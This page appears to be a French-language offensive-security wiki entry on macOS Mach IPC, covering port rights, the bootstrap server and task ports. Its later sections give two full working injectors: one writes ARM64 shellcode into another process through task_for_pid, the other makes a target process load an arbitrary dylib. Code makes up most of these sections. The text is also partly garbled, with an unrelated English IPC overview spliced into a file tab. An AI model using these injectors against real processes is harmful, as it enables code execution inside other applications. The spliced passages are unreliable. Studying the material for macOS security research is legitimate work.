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# macOS IPC - Communication Inter Processus

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</details>

## Messagerie Mach via Ports

### Informations de base

Mach utilise des **tâches** comme **unité la plus petite** pour le partage de ressources, et chaque tâche peut contenir **plusieurs threads**. Ces **tâches et threads sont mappés 1:1 sur les processus et threads POSIX**.

La communication entre les tâches se fait via la Communication Inter-Processus (IPC) de Mach, en utilisant des canaux de communication unidirectionnels. **Les messages sont transférés entre les ports**, qui agissent comme des **files d'attente de messages** gérées par le noyau.

Chaque processus a une **table IPC**, où il est possible de trouver les **ports Mach du processus**. Le nom d'un port Mach est en réalité un nombre (un pointeur vers l'objet noyau).

Un processus peut également envoyer un nom de port avec certains droits **à une tâche différente** et le noyau fera apparaître cette entrée dans la **table IPC de l'autre tâche**.

### Droits de port

Les droits de port, qui définissent les opérations qu'une tâche peut effectuer, sont essentiels pour cette communication. Les **droits de port possibles** sont ([définitions d'ici](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)) :

* Le **droit de réception**, qui permet de recevoir des messages envoyés au port. Les ports Mach sont des files d'attente MPSC (multiproducteur, monocomposant), ce qui signifie qu'il ne peut y avoir qu'**un seul droit de réception pour chaque port** dans tout le système (contrairement aux tubes, où plusieurs processus peuvent tous détenir des descripteurs de fichier pour l'extrémité de lecture d'un tube).
* Une **tâche avec le droit de réception** peut recevoir des messages et **créer des droits d'envoi**, lui permettant d'envoyer des messages. À l'origine, seule la **tâche elle-même a le droit de réception sur son port**.
* Le **droit d'envoi**, qui permet d'envoyer des messages au port.
* Le droit d'envoi peut être **cloné** afin qu'une tâche possédant un droit d'envoi puisse cloner le droit et **le donner à une troisième tâche**.
* Le **droit d'envoi unique**, qui permet d'envoyer un message au port puis disparaît.
* Le **droit de jeu de ports**, qui indique un _jeu de ports_ plutôt qu'un seul port. Défiler un message d'un jeu de ports défile un message de l'un des ports qu'il contient. Les jeux de ports peuvent être utilisés pour écouter plusieurs ports simultanément, un peu comme `select`/`poll`/`epoll`/`kqueue` dans Unix.
* **Nom mort**, qui n'est pas un droit de port réel, mais simplement un espace réservé. Lorsqu'un port est détruit, tous les droits de port existants sur le port deviennent des noms morts.

**Les tâches peuvent transférer des droits d'ENVOI à d'autres**, leur permettant d'envoyer des messages en retour. **Les droits d'ENVOI peuvent également être clonés, de sorte qu'une tâche puisse dupliquer et donner le droit à une troisième tâche**. Cela, combiné à un processus intermédiaire appelé le **serveur d'amorçage**, permet une communication efficace entre les tâches.

### Établir une communication

#### Étapes :

Comme mentionné, pour établir le canal de communication, le **serveur d'amorçage** (**launchd** sur Mac) est impliqué.

1. La tâche **A** initie un **nouveau port**, obtenant un **droit de réception** dans le processus.
2. La tâche **A**, étant le détenteur du droit de réception, **génère un droit d'envoi pour le port**.
3. La tâche **A** établit une **connexion** avec le **serveur d'amorçage**, fournissant le **nom de service du port** et le **droit d'envoi** via une procédure connue sous le nom d'enregistrement d'amorçage.
4. La tâche **B** interagit avec le **serveur d'amorçage** pour exécuter une **recherche d'amorçage pour le nom du service**. En cas de succès, le **serveur duplique le droit d'envoi** reçu de la tâche A et **le transmet à la tâche B**.
5. Après avoir acquis un droit d'envoi, la tâche **B** est capable de **formuler** un **message** et de l'envoyer **à la tâche A**.
6. Pour une communication bidirectionnelle, généralement la tâche **B** génère un nouveau port avec un **droit de réception** et un **droit d'envoi**, et donne le **droit d'envoi à la tâche A** pour qu'elle puisse envoyer des messages à la tâche B (communication bidirectionnelle).

Le serveur d'amorçage **ne peut pas authentifier** le nom de service revendiqué par une tâche. Cela signifie qu'une **tâche** pourrait potentiellement **usurper n'importe quelle tâche système**, en revendiquant faussement un nom de service d'autorisation, puis en approuvant chaque demande.

Ensuite, Apple stocke les **noms des services fournis par le système** dans des fichiers de configuration sécurisés, situés dans des répertoires protégés par SIP : `/System/Library/LaunchDaemons` et `/System/Library/LaunchAgents`. Aux côtés de chaque nom de service, le **binaire associé est également stocké**. Le serveur d'amorçage, créera et détiendra un **droit de réception pour chacun de ces noms de service**.

Pour ces services prédéfinis, le **processus de recherche diffère légèrement**. Lorsqu'un nom de service est recherché, launchd démarre le service de manière dynamique. Le nouveau flux de travail est le suivant :

* La tâche **B** initie une **recherche d'amorçage** pour un nom de service.
* **launchd** vérifie si la tâche est en cours d'exécution et si ce n'est pas le cas, la **démarre**.
* La tâche **A** (le service) effectue un **enregistrement d'amorçage**. Ici, le **serveur d'amorçage** crée un droit d'envoi, le conserve, et **transfère le droit de réception à la tâche A**.
* launchd duplique le **droit d'envoi et l'envoie à la tâche B**.
* La tâche **B** génère un nouveau port avec un **droit de réception** et un **droit d'envoi**, et donne le **droit d'envoi à la tâche A** (le svc) pour qu'elle puisse envoyer des messages à la tâche B (communication bidirectionnelle).

Cependant, ce processus s'applique uniquement aux tâches système prédéfinies. Les tâches non système fonctionnent toujours comme décrit initialement, ce qui pourrait potentiellement permettre l'usurpation.

### Un message Mach

[Trouvez plus d'informations ici](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)

La fonction `mach_msg`, essentiellement un appel système, est utilisée pour envoyer et recevoir des messages Mach. La fonction nécessite que le message soit envoyé en tant qu'argument initial. Ce message doit commencer par une structure `mach_msg_header_t`, suivie du contenu du message. La structure est définie comme suit:
```c
typedef struct {
mach_msg_bits_t               msgh_bits;
mach_msg_size_t               msgh_size;
mach_port_t                   msgh_remote_port;
mach_port_t                   msgh_local_port;
mach_port_name_t              msgh_voucher_port;
mach_msg_id_t                 msgh_id;
} mach_msg_header_t;
```
Les processus possédant un _**droit de réception**_ peuvent recevoir des messages sur un port Mach. En revanche, les **expéditeurs** se voient accorder un _**droit d'envoi**_ ou un _**droit d'envoi unique**_. Le droit d'envoi unique est exclusivement pour l'envoi d'un seul message, après quoi il devient invalide.

Pour réaliser une **communication bidirectionnelle** facile, un processus peut spécifier un **port Mach** dans l'en-tête du message Mach appelé le _port de réponse_ (**`msgh_local_port`**) où le **destinataire** du message peut **envoyer une réponse** à ce message. Les indicateurs de bits dans **`msgh_bits`** peuvent être utilisés pour **indiquer** qu'un **droit d'envoi unique** doit être dérivé et transféré pour ce port (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).

{% hint style="success" %}
Notez que ce type de communication bidirectionnelle est utilisé dans les messages XPC qui attendent une réponse (`xpc_connection_send_message_with_reply` et `xpc_connection_send_message_with_reply_sync`). Mais **généralement, des ports différents sont créés** comme expliqué précédemment pour créer la communication bidirectionnelle.
{% endhint %}

Les autres champs de l'en-tête du message sont :

- `msgh_size` : la taille de l'ensemble du paquet.
- `msgh_remote_port` : le port sur lequel ce message est envoyé.
- `msgh_voucher_port` : [bons Mach](https://robert.sesek.com/2023/6/mach\_vouchers.html).
- `msgh_id` : l'ID de ce message, qui est interprété par le destinataire.

{% hint style="danger" %}
Notez que les **messages Mach sont envoyés sur un **_**port Mach**_, qui est un canal de communication **un seul destinataire**, **plusieurs expéditeurs** intégré dans le noyau Mach. **Plusieurs processus** peuvent **envoyer des messages** à un port Mach, mais à tout moment, un seul processus peut le lire.
{% endhint %}

### Énumérer les ports
```bash
lsmp -p <pid>
```
Vous pouvez installer cet outil sur iOS en le téléchargeant depuis [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)

### Exemple de code

Notez comment l'**expéditeur** alloue un port, crée un **droit d'envoi** pour le nom `org.darlinghq.example` et l'envoie au **serveur de démarrage** tandis que l'expéditeur demande le **droit d'envoi** de ce nom et l'utilise pour **envoyer un message**.

{% tabs %}
{% tab title="receiver.c" %}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
```
{% endtab %}

{% onglet title = "sender.c" %}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);


// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;

message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;

strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;

// Send the message.
kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG,    // Options. We're sending a message.
sizeof(message),  // Size of the message being sent.
0,                // Size of the buffer for receiving.
MACH_PORT_NULL,   // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}
```
{% endtab %}
{% endtabs %}

### Ports Privilégiés

* **Port hôte**: Si un processus a le **droit d'envoi** sur ce port, il peut obtenir des **informations** sur le **système** (par exemple, `host_processor_info`).
* **Port hôte privilégié**: Un processus avec le droit d'**envoi** sur ce port peut effectuer des **actions privilégiées** comme charger une extension de noyau. Le **processus doit être root** pour obtenir cette autorisation.
* De plus, pour appeler l'API **`kext_request`**, il est nécessaire d'avoir d'autres autorisations **`com.apple.private.kext*`** qui ne sont données qu'aux binaires Apple.
* **Port de nom de tâche**: Une version non privilégiée du _port de tâche_. Il fait référence à la tâche, mais ne permet pas de la contrôler. La seule chose apparemment disponible à travers lui est `task_info()`.
* **Port de tâche** (alias port de noyau)**:** Avec l'autorisation d'envoi sur ce port, il est possible de contrôler la tâche (lecture/écriture en mémoire, création de threads...).
* Appeler `mach_task_self()` pour **obtenir le nom** de ce port pour la tâche appelante. Ce port n'est **hérité** qu'à travers **`exec()`**; une nouvelle tâche créée avec `fork()` obtient un nouveau port de tâche (dans un cas particulier, une tâche obtient également un nouveau port de tâche après `exec()` dans un binaire suid). La seule façon de créer une tâche et d'obtenir son port est d'effectuer la ["danse d'échange de port"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) tout en faisant un `fork()`.
* Voici les restrictions d'accès au port (à partir de `macos_task_policy` du binaire `AppleMobileFileIntegrity`):
* Si l'application a l'autorisation **`com.apple.security.get-task-allow`**, les processus du **même utilisateur peuvent accéder au port de tâche** (communément ajouté par Xcode pour le débogage). Le processus de **notarisation** ne le permettra pas pour les versions de production.
* Les applications avec l'autorisation **`com.apple.system-task-ports`** peuvent obtenir le **port de tâche de n'importe quel** processus, sauf le noyau. Dans les anciennes versions, cela s'appelait **`task_for_pid-allow`**. Cela n'est accordé qu'aux applications Apple.
* **Root peut accéder aux ports de tâche** des applications **non** compilées avec un **runtime renforcé** (et non provenant d'Apple).

### Injection de code shell dans un thread via le port de tâche&#x20;

Vous pouvez obtenir un code shell à partir de :

{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
```objectivec
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep

#import <Foundation/Foundation.h>

double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];

performMathOperations();  // Silent action

[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
```
{% endtab %}

{% tab title="entitlements.plist" %} 

### macOS IPC (Inter-Process Communication)

Inter-Process Communication (IPC) is a mechanism that allows processes to communicate and share data with each other. macOS provides several IPC mechanisms, including Mach ports, XPC services, and Distributed Objects. These mechanisms can be used by applications to communicate with system services and other applications.

#### Mach Ports

Mach ports are low-level communication endpoints used for IPC on macOS. They are used by the kernel, system services, and applications to send messages and data between processes. Mach ports are a fundamental part of the macOS architecture and are used extensively for inter-process communication.

#### XPC Services

XPC (XPC Services) is a high-level IPC mechanism introduced in macOS X Snow Leopard (10.6). XPC allows applications to create lightweight services that can be launched on demand and communicate with the parent application using asynchronous messaging. XPC services are commonly used for tasks that require inter-process communication and privilege separation.

#### Distributed Objects

Distributed Objects is an IPC mechanism that allows objects to be passed between processes on macOS. It enables applications to communicate and share objects with each other, making it easier to build distributed systems and share resources between applications.

Understanding how IPC mechanisms work in macOS is essential for developers and security researchers to build secure applications and identify potential security vulnerabilities related to inter-process communication. By understanding the underlying IPC mechanisms, developers can implement proper security controls and prevent unauthorized access to sensitive data and system resources. 

{% endtab %}
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>
```
{% endtab %}
{% endtabs %}

**Compiler** le programme précédent et ajoutez les **autorisations** pour pouvoir injecter du code avec le même utilisateur (sinon vous devrez utiliser **sudo**).

<details>

<summary>sc_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector

#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>


#ifdef __arm64__

kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);

kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);


#else
#include <mach/mach_vm.h>
#endif


#define STACK_SIZE 65536
#define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";


int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}

// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}

// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}


// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask,                   // Task port
remoteCode64,                 // Virtual Address (Destination)
(vm_address_t) injectedCode,  // Source
0xa9);                       // Length of the source


if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}


// Set the permissions on the allocated code memory
kr  = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}

// Set the permissions on the allocated stack memory
kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}

// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t         remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8;  // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64  0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}

return (0);
}

pid_t pidForProcessName(NSString *processName) {
NSArray *arguments = @[@"pgrep", processName];
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/usr/bin/env"];
[task setArguments:arguments];

NSPipe *pipe = [NSPipe pipe];
[task setStandardOutput:pipe];

NSFileHandle *file = [pipe fileHandleForReading];

[task launch];

NSData *data = [file readDataToEndOfFile];
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];

return (pid_t)[string integerValue];
}

BOOL isStringNumeric(NSString *str) {
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
return r.location == NSNotFound;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s <pid or process name>", argv[0]);
return 1;
}

NSString *arg = [NSString stringWithUTF8String:argv[1]];
pid_t pid;

if (isStringNumeric(arg)) {
pid = [arg intValue];
} else {
pid = pidForProcessName(arg);
if (pid == 0) {
NSLog(@"Error: Process named '%@' not found.", arg);
return 1;
}
else{
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
}
}

inject(pid);
}

return 0;
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
### Injection de dylib dans un thread via le port de tâche

Sur macOS, les **threads** peuvent être manipulés via **Mach** ou en utilisant l'API **posix `pthread`**. Le thread que nous avons généré dans l'injection précédente a été généré en utilisant l'API Mach, donc **il n'est pas conforme à posix**.

Il était possible d'**injecter un simple shellcode** pour exécuter une commande car cela **ne nécessitait pas de travailler avec des APIs conformes à posix**, seulement avec Mach. Les **injections plus complexes** nécessiteraient que le **thread** soit également **conforme à posix**.

Par conséquent, pour **améliorer le thread**, il devrait appeler **`pthread_create_from_mach_thread`** qui va **créer un pthread valide**. Ensuite, ce nouveau pthread pourrait **appeler dlopen** pour **charger une dylib** du système, donc au lieu d'écrire un nouveau shellcode pour effectuer différentes actions, il est possible de charger des bibliothèques personnalisées.

Vous pouvez trouver des **dylibs d'exemple** dans (par exemple celui qui génère un journal que vous pouvez ensuite écouter) :

{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
{% endcontent-ref %}

<details>

<summary>dylib_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>

#include <sys/stat.h>
#include <pthread.h>


#ifdef __arm64__
//#include "mach/arm/thread_status.h"

// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);

kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);


#else
#include <mach/mach_vm.h>
#endif


#define STACK_SIZE 65536
#define CODE_SIZE 128


char injectedCode[] =

// "\x00\x00\x20\xd4" // BRK X0     ; // useful if you need a break :)

// Call pthread_set_self

"\xff\x83\x00\xd1" // SUB SP, SP, #0x20         ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10        ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10         ; Space for the
"\xE0\x03\x00\x91" // MOV X0, SP                ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0                ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14              ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0                ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44               ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8                    ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop              ; loop forever

// Call dlopen with the path to the library
"\xC0\x01\x00\x10"  // ADR X0, #56  ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58"  // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2"  // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91"  // ADD   x9, x9, 0  - I left this as a nop
"\x00\x01\x3f\xd6"  // BLR X8     ; do dlopen()

// Call pthread_exit
"\xA8\x00\x00\x58"  // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2"  // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6"  // BLR X8     ; do pthread_exit

"PTHRDCRT"  // <-
"PTHRDEXT"  // <-
"DLOPEN__"  // <-
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;




int inject(pid_t pid, const char *lib) {

task_t remoteTask;
struct stat buf;

// Check if the library exists
int rc = stat (lib, &buf);

if (rc != 0)
{
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
//return (-9);
}

// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}

// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}

// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}


// Patch shellcode

int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{

// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;


uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
uint64_t addrOfDlopen = (uint64_t) dlopen;

if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
printf ("Pthread exit  @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
}

if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
}

if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf ("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}

if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib );
}
}

// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask,                   // Task port
remoteCode64,                 // Virtual Address (Destination)
(vm_address_t) injectedCode,  // Source
0xa9);                       // Length of the source


if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}


// Set the permissions on the allocated code memory
kr  = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}

// Set the permissions on the allocated stack memory
kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}


// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t         remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8;  // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64  0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}

return (0);
}



int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
fprintf (stderr, "   _action_: path to a dylib on disk\n");
exit(0);
}

pid_t pid = atoi(argv[1]);
const char *action = argv[2];
